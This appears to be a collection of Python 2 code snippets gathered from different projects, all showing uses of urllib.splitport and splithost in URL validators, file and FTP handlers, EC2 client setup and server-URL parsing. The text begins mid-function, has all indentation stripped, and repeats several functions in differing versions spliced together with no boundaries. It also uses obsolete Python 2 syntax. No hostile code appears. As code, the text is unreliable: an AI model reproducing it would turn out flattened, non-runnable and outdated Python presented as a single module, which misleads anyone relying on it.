raise ValueError, "unknown URL type: %s" % url
# Get host
host, rest = urllib.splithost(rest)
# Try to get port
host, port = urllib.splitport(host)
# If port is not defined try to get from proto
if port is None:
try:
port = self._ports[proto]
except KeyError:
raise ValueError, "unknown protocol for: %s" % url
self._real_host = host
self._real_port = int(port)
httplib.HTTPConnection.request(self, method, rest, body, headers)
def valid_pub_url(url):
"""Verify that the publisher URL contains only valid characters."""
if not url:
return False
# First split the URL and check if the scheme is one we support
o = urlparse.urlsplit(url)
if not o[0] in _valid_proto:
return False
if o[0] == "file":
scheme, netloc, path, params, query, fragment = \
urlparse.urlparse(url, "file", allow_fragments=0)
path = urllib.url2pathname(path)
if not os.path.abspath(path):
return False
# No further validation to be done.
return True
# Next verify that the network location is valid
host, port = urllib.splitport(o[1])
if not host or _invalid_host_chars.match(host):
return False
if _hostname_re.match(host):
return True
return False
def open_local_file(self, req):
import mimetypes
import email
host = req.get_host()
file = req.get_selector()
localfile = urllib.url2pathname(file)
stats = os.stat(localfile)
size = stats[stat.ST_SIZE]
modified = email.Utils.formatdate(stats[stat.ST_MTIME])
mtype = mimetypes.guess_type(file)[0]
if host:
host, port = urllib.splitport(host)
if port or socket.gethostbyname(host) not in self.get_names():
raise urllib2.URLError('file not on local host')
fo = open(localfile,'rb')
brange = req.headers.get('Range', None)
brange = range_header_to_tuple(brange)
assert brange != ()
if brange:
(fb, lb) = brange
if lb == '':
lb = size
if fb < 0 or fb > size or lb > size:
raise RangeError('Requested Range Not Satisfiable')
size = (lb - fb)
fo = RangeableFileObject(fo, (fb, lb))
headers = email.message_from_string(
'Content-Type: %s\nContent-Length: %d\nLast-Modified: %s\n' %
(mtype or 'text/plain', size, modified))
return urllib.addinfourl(fo, headers, 'file:'+file)
def open_local_file(self, req):
import email.utils
import mimetypes
host = req.get_host()
filename = req.get_selector()
localfile = url2pathname(filename)
try:
stats = os.stat(localfile)
size = stats.st_size
modified = email.utils.formatdate(stats.st_mtime, usegmt=True)
mtype = mimetypes.guess_type(filename)[0]
headers = mimetools.Message(StringIO('Content-type: %s\nContent-length: %d\nLast-modified: %s\n' % (
mtype or 'text/plain', size, modified)))
if host:
host, port = splitport(host)
if not host or not port and _safe_gethostbyname(host) in self.get_names():
if host:
origurl = 'file://' + host + filename
else:
origurl = 'file://' + filename
return addinfourl(open(localfile, 'rb'), headers, origurl)
except OSError as msg:
raise URLError(msg)
raise URLError('file not on local host')
def ftp_open(self, req):
import ftplib
import mimetypes
host = req.get_host()
if not host:
raise URLError('ftp error: no host given')
host, port = splitport(host)
if port is None:
port = ftplib.FTP_PORT
else:
port = int(port)
# username/password handling
user, host = splituser(host)
if user:
user, passwd = splitpasswd(user)
else:
passwd = None
host = unquote(host)
user = unquote(user or '')
passwd = unquote(passwd or '')
try:
host = socket.gethostbyname(host)
except socket.error, msg:
raise URLError(msg)
def open_local_file(self, req):
try:
import email.utils as emailutils
except ImportError:
# python 2.4
import email.Utils as emailutils
import mimetypes
host = req.get_host()
file = req.get_selector()
localfile = url2pathname(file)
try:
stats = os.stat(localfile)
size = stats.st_size
modified = emailutils.formatdate(stats.st_mtime, usegmt=True)
mtype = mimetypes.guess_type(file)[0]
headers = mimetools.Message(StringIO(
'Content-type: %s\nContent-length: %d\nLast-modified: %s\n' %
(mtype or 'text/plain', size, modified)))
if host:
host, port = splitport(host)
if not host or \
(not port and socket.gethostbyname(host) in self.get_names()):
return addinfourl(open(localfile, 'rb'),
headers, 'file:'+file)
except OSError, msg:
# urllib2 users shouldn't expect OSErrors coming from urlopen()
raise URLError(msg)
def __init__(self, username=None, password=None, serverurl=None):
self.username = username
self.password = password
self.verbose = False
self.serverurl = serverurl
if serverurl.startswith("http://"):
type, uri = urllib.splittype(serverurl)
host, path = urllib.splithost(uri)
host, port = urllib.splitport(host)
if port is None:
port = 80
else:
port = int(port)
def get_connection(host=host, port=port):
return httplib.HTTPConnection(host, port)
self._get_connection = get_connection
elif serverurl.startswith("unix://"):
def get_connection(serverurl=serverurl):
# we use 'localhost' here because domain names must be
# < 64 chars (or we'd use the serverurl filename)
conn = UnixStreamHTTPConnection("localhost")
conn.socketfile = serverurl[7:]
return conn
self._get_connection = get_connection
else:
raise ValueError("Unknown protocol for serverurl %s" % serverurl)
def __init__(self, ec2_url, ec2_region, ec2_access_key, ec2_secret_key,
vpc=None, storage_path=None, request_floating_ip=False):
self._url = ec2_url
self._region_name = ec2_region
self._access_key = ec2_access_key
self._secret_key = ec2_secret_key
self._vpc = vpc
self.request_floating_ip = request_floating_ip
# read all parameters from url
proto, opaqueurl = urllib.splittype(ec2_url)
self._host, self._ec2path = urllib.splithost(opaqueurl)
self._ec2host, port = urllib.splitport(self._host)
if port:
port = int(port)
self._ec2port = port
if proto == "https":
self._secure = True
else:
self._secure = False
# will be initialized upon first connect
self._ec2_connection = None
self._vpc_connection = None
self._vpc_id = None
self._region = None
self._instances = {}
self._cached_instances = []
self._images = None
def get_server_url(self):
""" Functionality that medusa's http request doesn't have; set an
attribute named 'server_url' on the request based on the Host: header
"""
default_port={'http': '80', 'https': '443'}
environ = self.cgi_environment()
if (environ.get('HTTPS') in ('on', 'ON') or
environ.get('SERVER_PORT_SECURE') == "1"):
# XXX this will currently never be true
protocol = 'https'
else:
protocol = 'http'
if environ.has_key('HTTP_HOST'):
host = environ['HTTP_HOST'].strip()
hostname, port = urllib.splitport(host)
else:
hostname = environ['SERVER_NAME'].strip()
port = environ['SERVER_PORT']
if (port is None or default_port[protocol] == port):
host = hostname
else:
host = hostname + ':' + port
server_url = '%s://%s' % (protocol, host)
if server_url[-1:]=='/':
server_url=server_url[:-1]
return server_url
def __init__(self, ec2_url, ec2_region, ec2_access_key, ec2_secret_key,
ec2_validate_certs):
self._url = ec2_url
self._region_name = ec2_region
self._access_key = ec2_access_key
self._secret_key = ec2_secret_key
ec2_validate_certs = ec2_validate_certs.lower()
if ec2_validate_certs in ('1', 'true', 'yes', 'on', 'enable'):
self._validate_certs = True
else:
self._validate_certs = False
# read all parameters from url
proto, opaqueurl = urllib.splittype(ec2_url)
self._host, self._ec2path = urllib.splithost(opaqueurl)
self._ec2host, port = urllib.splitport(self._host)
if port:
port = int(port)
self._ec2port = port
if proto == "https":
self._secure = True
else:
self._secure = False
# will be initialized upon first connect
self._connection = None
self._region = None
self._instances = {}
self._cached_instances = []
self._images = None
def parse_callback_url(self, callback_url):
proto, rest = urllib.splittype(callback_url)
host, rest = urllib.splithost(rest)
host, port = urllib.splitport(host)
if not port:
port = 443
return host, port
def parse_host_port (host_port):
"""Parse a host:port string into separate components."""
host, port = urllib.splitport(host_port.strip())
if port is not None:
if urlutil.is_numeric_port(port):
port = int(port)
return host, port
def ftp_open(self, req):
import ftplib
import mimetypes
host = req.get_host()
if not host:
raise IOError, ('ftp error', 'no host given')
host, port = splitport(host)
if port is None:
port = ftplib.FTP_PORT
else:
port = int(port)
# username/password handling
user, host = splituser(host)
if user:
user, passwd = splitpasswd(user)
else:
passwd = None
host = unquote(host)
user = unquote(user or '')
passwd = unquote(passwd or '')
try:
host = socket.gethostbyname(host)
except socket.error, msg:
raise URLError(msg)
def getHost(url):
protocol, s1 = urllib.splittype(url)
# ('http', '//www.freedom.com:8001/img/people')
host, s2 = urllib.splithost(s1)
# ('www.freedom.com:8001', '/img/people')
host, port = urllib.splitport(host)
return host
